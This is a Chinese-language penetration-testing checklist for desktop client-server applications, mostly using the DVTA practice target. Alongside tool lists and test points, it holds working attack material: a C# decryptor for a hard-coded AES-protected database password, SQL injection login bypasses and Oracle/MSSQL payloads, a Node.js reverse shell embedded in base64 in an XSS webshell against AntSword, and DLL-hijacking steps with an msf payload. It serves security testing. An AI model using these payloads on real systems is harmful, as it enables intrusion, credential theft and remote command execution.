PC客戶端(CS架構)客戶端滲透測試指南
- 2019 年 10 月 11 日
- 筆記
0x00前言
本項目主要針對PC客戶端(CS架構)滲透測試,結合自身測試經驗和網絡資料形成清單,如有任何問題,歡迎聯繫,期待大家貢獻更多的技巧和案例。
0x01概述
PC客戶端,有豐富功能的圖形用戶界面,CS架構。
0x02開發語言
C#(.NET),JAVA,DELPHI,C,C ++ ……
0x03協議
TCP,HTTP(S),TDS ……
0x04數據庫
Oracle,MSSQL,DB2 ……
0x05測試工具
//相關工具下載:https://github.com/theLSA/hack-cs-tools
dvta: pc客戶端靶場
ida pro: 靜態分析工具
ollydbg:動態分析工具
CFF Explorer:PE文件分析
PEID:查殼工具
exeinfope/studype:pe文件分析
wireshark:觀察流量
tcpview:觀察tcp流量
echo Mirage:可攔截tcp流量
burpsuite:http(s)抓包
proxifier:全局代理流量
procmon:文件和註冊表監控
regshot:註冊表變化對比
process Hacker:進程分析
RegfromApp:註冊表監控
WSExplorer:歲月聯盟進程抓包工具
strings:查看程序的字符串
.net[反]編譯:
dotpeek
de4dot
dnspy
ilspy
sae
ildasm
ilasm
Java反編譯
jad
jd-gui
jadx
dex2jar
在線版: javare.cn
www.javadecompilers.com
Reflexil:組裝編輯器(可以作為ilspy插件)
Vcg:自動化代碼審計工具
BinScope:二進制分析工具
0x06代理設置
大部分客戶端沒有代理配置功能,需要自行設置全局代理,如下兩種方法:
1)IE-互聯網設置 – 連接 – 局域網設置。
2)代理服務器/代理服務器規則
// http的流量可以結合burpsuite方便測試(代理服務器設置為burp代理地址)。
0x07測試點
0.1 信息收集
編譯信息,開發環境/語言,使用協議,數據庫,IP,混淆/加密,是否加殼等。
案例0-CFF查看客戶端信息(如編譯環境)
dvta
1. 逆向工程
反編譯,源代碼泄露,硬編碼密鑰/密碼,加解密邏輯,角色判斷邏輯(0-admin,1- normaluser),後門等。
案例0-反編譯獲取加解密邏輯並編寫解密工具
dvta
通過該邏輯和獲取的信息
加密的文本: CTsvjZ0jQghXYWbSRcPxpQ ==
AES密鑰: J8gLXc454o5tW2HEF7HahcXPufj9v8k8
IV: fq20T0gMnXa6g0l4
編寫解密工具
using System; using System.Collections.Generic; using System.ComponentModel; using System.Data; using System.Drawing; using System.Linq; using System.Text; using System.Threading.Tasks; using System.Windows.Forms; using System.Security.Cryptography; namespace aesdecrypt { public partial class aesdecrypt : Form { public aesdecrypt() { InitializeComponent(); } private void decrypt(object sender, EventArgs e) { String key = 「J8gLXc454o5tW2HEF7HahcXPufj9v8k8」; String IV = 「fq20T0gMnXa6g0l4」; String encryptedtext = 「CTsvjZ0jQghXYWbSRcPxpQ==」; byte[] encryptedBytes = Convert.FromBase64String(encryptedtext); AesCryptoServiceProvider aes = new AesCryptoServiceProvider(); aes.BlockSize = 128; aes.KeySize = 256; aes.Key = System.Text.ASCIIEncoding.ASCII.GetBytes(key); aes.IV = System.Text.ASCIIEncoding.ASCII.GetBytes(IV); aes.Padding = PaddingMode.PKCS7; aes.Mode = CipherMode.CBC; ICryptoTransform crypto = aes.CreateDecryptor(aes.Key, aes.IV); byte[] decryptedbytes = crypto.TransformFinalBlock(encryptedBytes, 0, encryptedBytes.Length); String decryptedString = System.Text.ASCIIEncoding.ASCII.GetString(decryptedbytes); Console.WriteLine(「n」); Console.WriteLine(「##########Decryptig Database password##########n」); Console.WriteLine(「Decrypted Database password:」 + decryptedString+」n」); Console.WriteLine(「##########Done##########n」); } } }
案例1-反編譯修改代碼邏輯讓普通用戶以管理員登錄
dvta
1-Isadmin
0 Normaluser
改1為0即可判斷為管理
2. 信息泄露
明文敏感信息,敏感文件(如安裝目錄下的xxx.config)。
註冊表:利用regshot比較客戶端運行(如登錄)前後註冊表差別。
開發調試日誌記錄(如dvta.exe >> log.txt)
process hacker查看客戶端內存中的明文敏感數據(如賬號密碼/密鑰)。
strings直接查看客戶端字符串(如IP信息)。
查看源代碼(如github上,gitee等)
案例0-配置敏感信息泄露
dvta
案例1-內存泄露數據庫賬號密碼
dvta
案例2-源代碼含有硬編碼的ftp賬號密碼
dvta
案例3-開發調試日誌泄露
dvta
案例4-某系統登錄後本地保存賬號密碼
//案例本。來源於https://blog.csdn.net/weixin_30685047/article/details/95916065
3. 傳輸流量
Wireshark / echo Mirage / burpsuite + nopeproxy / filler / charles
FTP等協議明文傳輸的賬號密碼
SQL語句明文傳輸(如利用構造注入,越權等)
案例0-正方教務系統的SQL語句明文傳輸,返回明文數據
//本案例來源於wooyun
4. 其他漏洞
爆破
如登錄功能。
用戶名枚舉
案例0
SQL語句暴露
案例0
SQL注入
如登錄處,萬能密碼
xxx』 or 『x』=』x
xxx』 or 1=1–
輸入框處,構造閉合報錯,如』、』)、%』)、order by 100–等。
利用顯示位或報錯注出數據,原理同web注入,不同數據庫大同小異。
案例0-oracle的注入
' union select null,null,(select user from dual),null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null from dual--
案例1-MSSQL注入
111') and (select user)>0--
CSV注入
如導出excel,輸入1+1,導出後看是否為2。
弱口令
可嘗試admin 123456等。
XSS
如Electron,NodeWebKit等。
案例0-中國蟻劍xss到rce
環境:win7+phpstudy(php5.6.27-nts)+perl+nc+antsword2.0.5
xss webshell:
<?php header('HTTP/1.1 500 <img src=# onerror=alertx>');
WIN +的node.js:
成功
var net = require("net"), sh = require("child_process").exec("cmd.exe"); var client = new net.Socket(); client.connect(6677, "127.0.0.1", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
<?php header("HTTP/1.1 500 Not <img src=# onerror='eval(new Buffer(dmFyIG5ldCA9IHJlcXVpcmUoIm5ldCIpLCBzaCA9IHJlcXVpcmUoImNoaWxkX3Byb2Nlc3MiKS5leGVjKCJjbWQuZXhlIik7CnZhciBjbGllbnQgPSBuZXcgbmV0LlNvY2tldCgpOwpjbGllbnQuY29ubmVjdCg2Njc3LCAiMTI3LjAuMC4xIiwgZnVuY3Rpb24oKXtjbGllbnQucGlwZShzaC5zdGRpbik7c2guc3Rkb3V0LnBpcGUoY2xpZW50KTsKc2guc3RkZXJyLnBpcGUoY2xpZW50KTt9KTs = ,BASE64).toString())'>"); ?>
相關參考
https://www.anquanke.com/post/id/176379
命令執行
案例0-印象筆記窗口客戶端6.15本地文件讀取和遠程命令執行
http://blog.knownsec.com/2018/11/%E5%8D%B0%E8%B1%A1%E7%AC%94%E8%AE%B0-windows-%E5%AE%A2%E6% 88%AB B7%E7%%AF-6-15-%E6%9C%AC%E5%9C%B0%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96 %E5%92%8C%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C /
案例1某雲PC客戶端命令執行挖掘過程
https://www.secpulse.com/archives/53852.html
案例2-金山WPS郵件郵件客戶端遠程命令執行漏洞(Mozilla系XUL程序利用技巧)
https://shuimugan.com/bug/view?bug_no=193117
邏輯缺陷
測試點同網絡。
密碼明文傳輸
DLL劫持
Linux文件搜索順序:
- 當前目錄
- PATH順序值目錄
程序搜索Dll順序:
//沒提供絕對路徑
1.應用程序加載的目錄。
2.當前目錄。
3.系統目錄 (C:WindowsSystem32)。
4.16位的系統目錄。
5.Windows目錄。
6.PATH變量的目錄。
程序可以加載攻擊者放置的惡意dll。
利用procmon搜索程序加載的dll,觀察name not found。
msf生成惡意dll放置於程序加載位置,運行程序即可觸發payload。
案例0-DLL劫持
dvta
授權認證缺陷
註冊表鍵值,授權服務器返回信息構造。
相關參考
https://cloud.tencent.com/developer/article/1430899
越權
未授權
案例0-正方教務系統數據庫任意操作
知道IP即可接管數據庫
//本案例來源於wooyun
溢出
0x08相關技巧
1.wireshark直接過濾出服務器或數據庫的IP或協議方便查看,如
ip.addr == 1.2.3.4 && http
2.如果有數據庫賬號,可以用數據庫監控sql語句操作(如sql server profiler)。
0x09參考資料和&相關資源
https://resources.infosecinstitute.com
PDF下載地址:
https://github.com/theLSA/CS-checklist/blob/master/CS-checklist.pdf
相關工具的下載地址:
https://github.com/theLSA/hack-cs-tools
參考來源:Github
作者:theLSA
原文地址見點擊閱讀原文
如有侵權,請聯繫刪除